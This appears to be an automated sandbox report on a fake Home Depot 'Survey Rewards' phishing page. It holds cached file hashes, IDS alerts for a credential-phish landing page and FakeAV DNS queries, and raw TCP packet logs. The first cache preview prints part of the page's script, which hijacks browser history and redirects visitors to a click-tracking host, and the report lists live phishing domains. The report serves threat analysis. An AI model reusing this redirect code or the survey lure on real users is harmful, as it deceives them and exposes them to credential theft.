Preview:	<!DOCTYPE html>..<html lang="en">.. <head>.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>The Home Depot - Survey Rewards</title>.. <link rel="stylesheet" href="./css/style.css">.. <link rel="stylesheet" href="./css/animate.min.css">.. <script defer src="https://use.fontawesome.com/releases/v5.15.4/js/all.js" integrity="sha384-rOA1PnstxnOBLzCLMcre8ybwbTmemjzdNlILg8O7z1lUkLXozs4DHonlDtnE7fpc" crossorigin="anonymous"></script>.. <script src="./js/datehead.js"></script>.. <script>.. (function (window, location) {.. var redirect = "https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/".. var currentUrl = location.origin + location.pathname + location.search;.. if (location.hash !== "#!/hst") {.. history.replaceState(null, document.title

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299)
Category:	dropped
Size (bytes):	80927
Entropy (8bit):	5.179669759700838
Encrypted:	false
SSDEEP:	768:wpnu4ImmtHVUFIEz/V7BTtWD4uEpUbs+BOquiA2r+eFJQnK9W+ieMpTHsH1Olm0t:wluV+UFBOqtFpR8od89cvEz
MD5:	21F815FF6D1883C4E81D821D38FF4070
SHA1:	386EA8BD17F21149C4E3A2303665FE6398E4E7D0
SHA-256:	F67B782EC5A62C8FCEDB89535BCF48CC02AE06A119E3B97FE2B875FAD1FF358F
SHA-512:	90115F497B93299700055A2E4581A7528DF928A6B5141AD88301B83C0C7B6761DEAE89279B471AD859B64E8B1DAEB237E7A1031CC5B7F374B7212AF029C54F53
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.5.2 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}function o(){return(o=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&Object.prototype.hasOwnProperty.call(e,"default")

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 960 x 834, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	558016
Entropy (8bit):	7.988829504991401
Encrypted:	false
SSDEEP:	12288:EfNcm4o38aGxwQyz8bMOy1nUuG8vmhjBjEp+KWUPnv0lp:AzAxfY8bRy9Uu3mha1WGv0T
MD5:	47308B43BAA26B27D59EADDBBFACFD3B
SHA1:	EF2EFAD51DDB08479B1DF472C5974D3DFF4EFB87
SHA-256:	20E11C41C0218A6DA7A185C63A68B59FE157B7A1D5C990FB24D75A26A9C88C81
SHA-512:	4AC69767B8591DAF06ABB8266C7B288739F0FDDA1BD697E6F814DC5889B552F8A8174F663880DFBCC61049F13139E37AB1B33BA090E944353C4F884E4DA4F941
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......B........H....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2023-07-25T15:32:29+08:00" xmp:MetadataDate="2023-07-25T15:32:29+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:0e1001e3-22af-6c43-8d96-22edee80a86f" xmpMM:DocumentID="xmp.did:35687803-d6b7-a540-9072-ae8376ab77b3" xmpMM:Original

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16895
Entropy (8bit):	4.879280634833702
Encrypted:	false
SSDEEP:	192:dCkQiBCq9Ce/B0vV6khSSdUGQJZ3wh+3e41E/D007xqJQ19k2ipeumXkxL0AZzHa:ch+3V8zF9k2seWraZMx+t
MD5:	762E3AFD5503A828909AE4FCB054991B
SHA1:	146339C66316EC59526E2BC5E8A9841BC89C1FDB
SHA-256:	83B856ED9A8CC7DBCCB368F370E1AC8D2C5D9CE2B1CFC468210585C4BEE8AC59
SHA-512:	6DD8D8614A7C7FD131E5EAF10958E5F03453CCC2E19EC24F042826963E1B1086E54927F39B37AC246A9E12901DF1A6D7C3925856C7EC835E55C1C67C260395D4
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/css/style.css
Preview:	:root{.. --btnbg:#f96302;.. --btnclr:#fff;.. --btnbrdr:#f96302;.. --btnbg-hover:#222;.. --btnclr-hover:#fff;.. --btnbrdr-hover:#222;.... --hdbg-ln1:#f96302;.. --hdclr-ln1:#f7f7f7;.... --hdbg-ln2:#fff;.. --hdclr-ln2:#222;.... --bdy-fttr-brdr:#f96302;.. --prz-otr-brdr:#f96302;.. .. --tmrbg:#f96302;.. --tmrbrdr:#222;.. --tmrclr:#fff;.. --tmrboxbg:#fff;.. --tmrboxclr:#f70000;.... --modfttrbg:#929292;.. --modfttrbrdr:#fff;..}......body{.. padding: 0px;.. margin: 0px;.. background-color: #e2e2e2;.. font-family: sans-serif;.. font-size: 14px;.. background-image: url('../images/bg.png');.. background-attachment: fixed;.. background-position: center;.. background-repeat: repeat-y;.. background-size: cover;..}....@media (max-width:678px) {.. body{.. background-size: 1200px auto;.. }..}...................con-body button{.. font-size: 18px;.. font-weight: 600;.. background-color: var(--b

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 93, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6352
Entropy (8bit):	7.967097008955388
Encrypted:	false
SSDEEP:	96:s8gZUW/uobVvoEpojW9UlQFAZVgu2A5R7KiIuFk1433TUThvfYbQJHcvcb9kYHnQ:YWobVwe2W2D21sF84oVLeLqRyt9P
MD5:	22508899121504E1B30622E4B68367EE
SHA1:	9064AC9456F4D6CC7ECBAF6B6F0168F89E9DA4A6
SHA-256:	BF97443D681D2BC0CA04B707D0D3D443BCF99B1BF4FC0AF84AC51286D0B4E02B
SHA-512:	354548C5792A0BD74F2E97AB5963B7D071342A7F2F7D66E09E4C0FF005D41AE789B590528E101769E1B4528FA4514013BFFA516750D38675029B1F2E4C4175E6
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/f_guarantee.png
Preview:	.PNG........IHDR...^...].......!.....PLTE...............................................................z...~.................l........v.~...}..........}...........n..S..T..8.....c........g........\..[..m..a..H((+.."346..0..]..`..F..k..3LA# ....i..Crrt..saae........{..a&!.{{}..y..Y..l..k..>.....R..........hhl....;=A]O-..g..491......`TVZ}pE......GIK..C..;n`5.....rPOP..KhY)3).BDF..[[].U}l7.......w..r..[..S.zA......r..F........{i`J..:>7&.i..a..O..K..>..J.B.A..'UH&^O#.................n..i..YcV4D:......d.c..P.t2we+..........\|....w..`.T..I[PE........W..J.C.5..%.....R..M3-%..iE<2.t.zc.}L..3..^zq]jf[..1...6PJ6..2..<..5...DHW..@..=......TK...,tRNS....+;J..z4oi..xC.^.........U............jX....IDATh..._.g...A\u.Q..3w....e].!!.$...LBB.. .....Ev..!..".=k.....bkk.x>..?...........o.I.....v....'.8o....V..t.............._..^...-a.....4av........4....#;9....5_..y.Y.5h........m.4.".x...u..p.......~T.M.~.[..b...$.}_.l{W,...y."I.X.%..H$....=.

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=2015, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=1504], progressive, precision 8, 150x150, components 3
Category:	dropped
Size (bytes):	31837
Entropy (8bit):	7.617083285413763
Encrypted:	false
SSDEEP:	768:j9iivrMr70R9iivrMD6KH3bwFiNbS53SDHW1Y/V:j9TR9VKH3b/NOX2V
MD5:	C9AEB368D39BF2BBC5520A14E7B2F8EE
SHA1:	FBFD0EDA129D51D62D58BCF2DD5F12F1FB911D6C
SHA-256:	385528B5F550AA72947C3906F4D50AE4F478C5EEF8CB6526229C88CE43261443
SHA-512:	CF56272220C2F8A14E5B162ECFF5103A3AEF438957DD7A06975BA489D72576F4D067B621095301BDC85279AE61B32659E545EE56377CA0419EC364A55E033531
Malicious:	false
Reputation:	low
Preview:	......Exif..MM.*.......................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:19:03............0231...................................................................n...........v.(.....................~...........T.......H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..M..%..:I)m..%..............$...P.21.)u..mU3..@.}.c...peu..8..y.[.{4...z.UWf..

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 184 x 182
Category:	downloaded
Size (bytes):	124490
Entropy (8bit):	7.8969933534063435
Encrypted:	false
SSDEEP:	3072:Gl08tEtk44jv4pmtAKtM3zVa9BMQNiSRgQQwrv:m0vOBjvj7MBazjuwrv
MD5:	22D11C92FDD2109EB9663482FA644C7D
SHA1:	6B738014293BE31BBEE4E537D0851080A081EEC5
SHA-256:	6A456541117D462DBA9918B2E62F72997EDF894717B8E553B142D4C37967A276
SHA-512:	5291A18DD092D579C2B5602B197EA52973017960D4849AAE4D01610733F0A0A5701B2FA948C75D28F49E22C5136D44280B3A4ED934A027BA6F45879BFBE87608
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/loadingRD.gif
Preview:	GIF89a.....................................................................................................................................................................................................................................................................................................................................................................................................^.\...............................C.-f.Vs.e..w...................................C.+E.+E.-G.-G./H.1K.5P.;Y.F\.I\|.n..r.i...............................................................m.\......................g....z..x..v..t .s#.rM.q'.o0.m7.m1.l7.l;.j?.nD.kE.hH.xe.mQ.oS.rU..p.iU.ua.zk.nc.rk.un.~y.zz.....................................................................!..NETSCAPE2.0.....!.......,...............H......\......FlH....3j....Eu C..H...(.>..P..0c.YP...RV.....,...3.@.J.M.:.P..t.....8P...CF..2.~.c...'\|LY;%..p....r..b.u...........#..X.MuS..(.BF..3l......

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65326)
Category:	downloaded
Size (bytes):	160302
Entropy (8bit):	5.078105585474276
Encrypted:	false
SSDEEP:	1536:V47CIJ0T2r+ryEIA1pDEBi8yNcuSEcA1/uypq3SYiLENM6HN26b:S7VSGGq3SYiLENM6HN26b
MD5:	816AF0EDDD3B4822C2756227C7E7B7EE
SHA1:	C470239D4C7DB36D56DC3A74A080C62218C6EDC4
SHA-256:	5B0FBE5B7AD705F6A937C4998AD02F73D8F0D976FE231B74AEF0EC996990C93A
SHA-512:	32844D968C5B4AD05C0FCCF733FD819A74FEAE0E08B0CC4F917686876CC3E8B18D34513CD16DE89EC02145C30032B4A8C962FDC43EC4AEDD267A7EEF47C2D466
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/css02/bootstrap.min.css
Preview:	/!. Bootstrap v4.5.2 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors. * Copyright 2011-2020 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:bo

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T15:44:33.164254+0100	2053469	ET PHISHING Generic Survey Credential Phish Landing Page 2024-06-11	1	104.21.28.45	443	192.168.2.16	49721	TCP
2025-01-08T15:44:39.002159+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	57338	1.1.1.1	53	UDP
2025-01-08T15:44:39.002354+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	50215	1.1.1.1	53	UDP
2025-01-08T15:44:40.100704+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	52422	1.1.1.1	53	UDP
2025-01-08T15:44:40.100879+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	57246	1.1.1.1	53	UDP
2025-01-08T15:44:45.611239+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	63200	1.1.1.1	53	UDP
2025-01-08T15:44:45.611439+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	57847	1.1.1.1	53	UDP
2025-01-08T15:44:47.825266+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	55223	1.1.1.1	53	UDP
2025-01-08T15:44:47.825450+0100	2012786	ET MALWARE DNS Query for Possible FakeAV Domain	2	192.168.2.16	60334	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 15:44:22.593832016 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:22.594218016 CET	49704	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:22.599543095 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:22.599628925 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:22.599832058 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:22.600050926 CET	80	49704	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:22.600111961 CET	49704	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:22.605341911 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.203840017 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.252274990 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:23.256982088 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:23.261763096 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.748941898 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.769737005 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:23.774625063 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.940145969 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:23.995220900 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:24.678864956 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:24.815913916 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.815949917 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:24.816026926 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.816378117 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.816417933 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:24.816468954 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.816569090 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.816581011 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:24.816814899 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:24.816829920 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:24.979233980 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:25.354547977 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.354887962 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.354902029 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.355948925 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.356050014 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357182980 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357234001 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357244968 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.357309103 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357319117 CET	443	49706	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.357341051 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357399940 CET	49706	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357778072 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.357816935 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.357892990 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.358108044 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.358119011 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.364101887 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.364304066 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.364312887 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.365602016 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.365673065 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366487026 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366501093 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366540909 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366563082 CET	443	49705	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.366616964 CET	49705	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366780043 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.366810083 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.366872072 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.367106915 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.367120028 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.582305908 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:25.822498083 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.822760105 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.822773933 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.823884964 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.824048042 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.827357054 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.827419043 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.827663898 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.827671051 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.850703955 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.851255894 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.851270914 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.853282928 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.853369951 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.853863001 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.853950977 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.880196095 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.896194935 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:25.896209955 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:25.944226027 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:26.454586029 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:26.454716921 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:26.454772949 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:26.455948114 CET	49707	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:26.455960989 CET	443	49707	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:26.461288929 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:26.461319923 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:26.461390018 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:26.461595058 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:26.461607933 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:26.493134022 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.493168116 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.493235111 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.493525982 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.493540049 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.783196926 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:26.968864918 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.969171047 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.969194889 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.970200062 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.970271111 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.970638990 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.970662117 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.970706940 CET	443	49710	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.970721006 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.970772028 CET	49710	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.971059084 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.971076012 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:26.971162081 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.971366882 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:26.971376896 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.093353033 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:27.093733072 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:27.093744993 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:27.094933987 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:27.095042944 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:27.096213102 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:27.096276045 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:27.148191929 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:27.148207903 CET	443	49709	142.250.185.196	192.168.2.16
Jan 8, 2025 15:44:27.196185112 CET	49709	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:44:27.216461897 CET	49689	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:27.449378014 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.449939013 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:27.449954033 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.450902939 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.450975895 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:27.451934099 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:27.451992035 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.452148914 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:27.452155113 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:27.499190092 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:28.277553082 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:28.277719021 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:28.277806044 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:28.278342962 CET	49713	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:28.278367996 CET	443	49713	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:28.305691957 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.305732012 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.305813074 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.306134939 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.306149006 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.759807110 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.760107040 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.760117054 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.761099100 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.761178017 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761496067 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761512041 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761558056 CET	443	49716	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.761570930 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761611938 CET	49716	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761866093 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.761883020 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:28.761950970 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.762173891 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:28.762186050 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.190192938 CET	49673	443	192.168.2.16	204.79.197.203
Jan 8, 2025 15:44:29.229557037 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.229856968 CET	49718	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:29.229875088 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.230902910 CET	443	49718	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:29.230981112 CET	49718	443	192.168.2.16	104.21.28.45
